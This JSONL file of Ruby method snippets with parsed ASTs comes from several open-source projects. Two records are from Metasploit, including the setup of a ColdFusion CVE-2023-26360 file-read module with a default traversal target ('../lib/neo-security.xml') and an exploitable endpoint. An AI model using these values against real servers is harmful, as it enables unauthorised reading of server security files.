{"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme.rb","start_line":405,"raw_source":"def screenshot_url\n    theme_fields\n      .find { |field| field.type_id == ThemeField.types[:theme_screenshot_upload_var] }\n      &.upload_url\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"screenshot_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme_fields\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"type_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThemeField\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"theme_screenshot_upload_var\"]}]}]}]},\"upload_url\"]}]}","id":"57368147-a692-4cf0-a194-b714ac665f5d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":923,"raw_source":"def test_render_template_with_dot_in_path\n    get :render_template_with_dot_in_path\n    assert_equal \"The secret is in the sauce\\n\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_template_with_dot_in_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_template_with_dot_in_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The secret is in the sauce\\n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"c9b992f2-5141-493e-bb83-96a7cd51c86e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/topic_assigner.rb","start_line":14,"raw_source":"def self.auto_assign(post, force: false)\n    deprecation_note\n    Assigner.auto_assign(post, force)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"auto_assign\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"kwoptarg\",\"children\":[\"force\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deprecation_note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Assigner\"]},\"auto_assign\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"force\"]}]}]}]}","id":"60c5a4dc-0ca8-4bb9-99c4-090861f6f660"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/yoda_condition.rb","start_line":126,"raw_source":"def valid_yoda?(node)\n          return true unless (rhs = node.first_argument)\n\n          lhs = node.receiver\n          return true if (constant_portion?(lhs) && constant_portion?(rhs)) ||\n                         (!constant_portion?(lhs) && !constant_portion?(rhs)) ||\n                         interpolation?(lhs)\n\n          enforce_yoda? ? constant_portion?(lhs) : constant_portion?(rhs)\n        end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_yoda?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rhs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lhs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"constant_portion?\",{\"type\":\"lvar\",\"children\":[\"lhs\"]}]},{\"type\":\"send\",\"children\":[null,\"constant_portion?\",{\"type\":\"lvar\",\"children\":[\"rhs\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"constant_portion?\",{\"type\":\"lvar\",\"children\":[\"lhs\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"constant_portion?\",{\"type\":\"lvar\",\"children\":[\"rhs\"]}]},\"!\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"interpolation?\",{\"type\":\"lvar\",\"children\":[\"lhs\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enforce_yoda?\"]},{\"type\":\"send\",\"children\":[null,\"constant_portion?\",{\"type\":\"lvar\",\"children\":[\"lhs\"]}]},{\"type\":\"send\",\"children\":[null,\"constant_portion?\",{\"type\":\"lvar\",\"children\":[\"rhs\"]}]}]}]}]}","id":"6c49a444-d01f-4ede-9cd6-f442140d49f0"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/api/v1/points_controller.rb","start_line":27,"raw_source":"def create\n    points = Points::Create.new(current_api_user, batch_params).call\n\n    render json: { data: points }\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"points\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Points\"]},\"Create\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_api_user\"]},{\"type\":\"send\",\"children\":[null,\"batch_params\"]}]},\"call\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"points\"]}]}]}]}]}]}]}]}","id":"5fd9e7b7-3cd0-4d26-9f57-6ae175ced495"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/themes_controller.rb","start_line":470,"raw_source":"def update_settings\n    return unless target_settings = theme_params[:settings]\n\n    target_settings.each_pair do |setting_name, new_value|\n      @theme.update_setting(setting_name.to_sym, new_value)\n    end\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"settings\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_settings\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting_name\"]},{\"type\":\"arg\",\"children\":[\"new_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@theme\"]},\"update_setting\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_name\"]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"new_value\"]}]}]}]}]}","id":"5c92d5d7-51c1-4fef-8678-e534134d3fc2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/bulk_import_service.rb","start_line":138,"raw_source":"def import_bookmarks!\n    rows_by_uri = @import.rows.index_by { |row| row.data['uri'] }\n\n    if @import.overwrite?\n      @account.bookmarks.includes(:status).find_each do |bookmark|\n        row = rows_by_uri.delete(ActivityPub::TagManager.instance.uri_for(bookmark.status))\n\n        if row.nil?\n          bookmark.destroy!\n        else\n          row.destroy\n          @import.processed_items += 1\n          @import.imported_items += 1\n        end\n      end\n\n      # Save pending infos due to `overwrite?` handling\n      @import.save!\n    end\n\n    Import::RowWorker.push_bulk(rows_by_uri.values) do |row|\n      [row.id]\n    end\n  end","complexity_score":34.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_bookmarks!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows_by_uri\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@import\"]},\"rows\"]},\"index_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"uri\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@import\"]},\"overwrite?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"bookmarks\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bookmark\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows_by_uri\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmark\"]},\"status\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmark\"]},\"destroy!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"destroy\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@import\"]},\"processed_items\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@import\"]},\"imported_items\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@import\"]},\"save!\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"RowWorker\"]},\"push_bulk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows_by_uri\"]},\"values\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"id\"]}]}]}]}]}","id":"6a073b78-6e16-4bde-89f0-1432c8d30dec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace.rb","start_line":686,"raw_source":"def all_container_repositories\n    ContainerRepository.for_project_id(all_projects)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"all_container_repositories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerRepository\"]},\"for_project_id\",{\"type\":\"send\",\"children\":[null,\"all_projects\"]}]}]}","id":"75bec12f-9fa9-47d6-b24a-b8b5a55bada8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Adobe ColdFusion Unauthenticated Arbitrary File Read',\n        'Description' => %q{\n          This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe\n          ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in order to read\n          an arbitrary file from the server.\n\n          To run this module you must provide a valid ColdFusion Component (CFC) endpoint via the CFC_ENDPOINT option,\n          and a valid remote method name from that endpoint via the CFC_METHOD option. By default an endpoint in the\n          ColdFusion Administrator (CFIDE) is provided. If the CFIDE is not accessible you will need to choose a\n          different CFC endpoint, method and parameters.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'sf', # MSF Module & Rapid7 Analysis\n        ],\n        'References' => [\n          ['CVE', '2023-26360'],\n          ['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8500),\n        Opt::RHOST('0.0.0.0'),\n        OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),\n        OptString.new('TARGETFILE', [true, 'The target file to read, relative to the wwwroot folder.', '../lib/neo-security.xml']),\n        OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/CFIDE/wizards/common/utils.cfc']),\n        OptString.new('CFC_METHOD', [true, 'The target ColdFusion Component (CFC) remote method name', 'wizardHash']),\n        OptString.new('CFC_METHOD_PARAMETERS', [false, 'Additional target ColdFusion Component (CFC) remote method parameters to supply via a GET request (e.g. \"param1=foo, param2=hello world\")', 'inPassword=foo'])\n      ]\n    )\n  end","complexity_score":12.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Adobe ColdFusion Unauthenticated Arbitrary File Read\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe\\n\"]},{\"type\":\"str\",\"children\":[\"          ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in order to read\\n\"]},{\"type\":\"str\",\"children\":[\"          an arbitrary file from the server.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          To run this module you must provide a valid ColdFusion Component (CFC) endpoint via the CFC_ENDPOINT option,\\n\"]},{\"type\":\"str\",\"children\":[\"          and a valid remote method name from that endpoint via the CFC_METHOD option. By default an endpoint in the\\n\"]},{\"type\":\"str\",\"children\":[\"          ColdFusion Administrator (CFIDE) is provided. If the CFIDE is not accessible you will need to choose a\\n\"]},{\"type\":\"str\",\"children\":[\"          different CFC endpoint, method and parameters.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sf\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-26360\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8500]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RHOST\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"STORE_LOOT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Store the target file as loot\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETFILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target file to read, relative to the wwwroot folder.\"]},{\"type\":\"str\",\"children\":[\"../lib/neo-security.xml\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CFC_ENDPOINT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target ColdFusion Component (CFC) endpoint\"]},{\"type\":\"str\",\"children\":[\"/CFIDE/wizards/common/utils.cfc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CFC_METHOD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target ColdFusion Component (CFC) remote method name\"]},{\"type\":\"str\",\"children\":[\"wizardHash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CFC_METHOD_PARAMETERS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Additional target ColdFusion Component (CFC) remote method parameters to supply via a GET request (e.g. \\\"param1=foo, param2=hello world\\\")\"]},{\"type\":\"str\",\"children\":[\"inPassword=foo\"]}]}]}]}]}]}]}","id":"1b6b9fa0-a4b9-4ee7-90d4-0bfce553c001"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/seed/pipeline.rb","start_line":23,"raw_source":"def size\n            stage_seeds.sum(&:size)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stage_seeds\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]}]}]}]}","id":"aff103bb-74a1-45da-94c3-91fe431952e6"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/page.rb","start_line":173,"raw_source":"def set_name\n      return if custom?\n      return if name.present?\n\n      self.name = self.class.name.demodulize\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"present?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"demodulize\"]}]}]}]}","id":"9e32e089-e068-4a20-b3ae-599137ab85c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repository_hash_cache.rb","start_line":160,"raw_source":"def standardize_hash(hash)\n      hash.to_h { |k, v| [k.to_s, v.to_s] }\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"standardize_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_s\"]}]}]}]}","id":"f8d508c5-b176-46ca-8fce-ed2477b53d19"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/abstract_tasks.rb","start_line":23,"raw_source":"def check_current_protected_environment!(db_config, migration_class)\n        with_temporary_pool(db_config, migration_class) do |pool|\n          migration_context = pool.migration_context\n          current = migration_context.current_environment\n          stored  = migration_context.last_stored_environment\n\n          if migration_context.protected_environment?\n            raise ActiveRecord::ProtectedEnvironmentError.new(stored)\n          end\n\n          if stored && stored != current\n            raise ActiveRecord::EnvironmentMismatchError.new(current: current, stored: stored)\n          end\n        rescue ActiveRecord::NoDatabaseError\n        end\n      end","complexity_score":23.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_current_protected_environment!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db_config\"]},{\"type\":\"arg\",\"children\":[\"migration_class\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_temporary_pool\",{\"type\":\"lvar\",\"children\":[\"db_config\"]},{\"type\":\"lvar\",\"children\":[\"migration_class\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pool\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration_context\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"migration_context\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_context\"]},\"current_environment\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stored\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_context\"]},\"last_stored_environment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_context\"]},\"protected_environment?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ProtectedEnvironmentError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"stored\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stored\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stored\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"current\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"EnvironmentMismatchError\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current\"]},{\"type\":\"lvar\",\"children\":[\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stored\"]},{\"type\":\"lvar\",\"children\":[\"stored\"]}]}]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"NoDatabaseError\"]}]},null,null]},null]}]}]}","id":"db02ab9f-156f-4786-b303-405ccdc97858"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/requests/api/issuable_search_shared_examples.rb","start_line":24,"raw_source":"def request_with_second_scope\n        get api(url), params: { scope: 'all', search: issuable.title }, headers: { 'REMOTE_ADDR' => '1.2.3.4' }\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"request_with_second_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"send\",\"children\":[null,\"url\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"str\",\"children\":[\"all\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable\"]},\"title\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"REMOTE_ADDR\"]},{\"type\":\"str\",\"children\":[\"1.2.3.4\"]}]}]}]}]}]}]}","id":"1b227766-f177-44ad-a453-290f7cb033ce"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb","start_line":85,"raw_source":"def privesc_save_delay\n    datastore['PRIVESC_SAVE_DELAY']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"privesc_save_delay\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PRIVESC_SAVE_DELAY\"]}]}]}","id":"f63c2963-aecd-46bd-bcf4-cf1a77a0616e"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":524,"raw_source":"def partial_collection_with_as_and_iteration\n    render partial: \"customer_iteration_with_as\", collection: [ Customer.new(\"david\"), Customer.new(\"mary\"), Customer.new(\"christine\") ], as: :client\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"partial_collection_with_as_and_iteration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"customer_iteration_with_as\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"collection\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"david\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"mary\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"christine\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"client\"]}]}]}]}]}","id":"d1c1399a-c0e5-4700-855e-f93e2fae927a"}
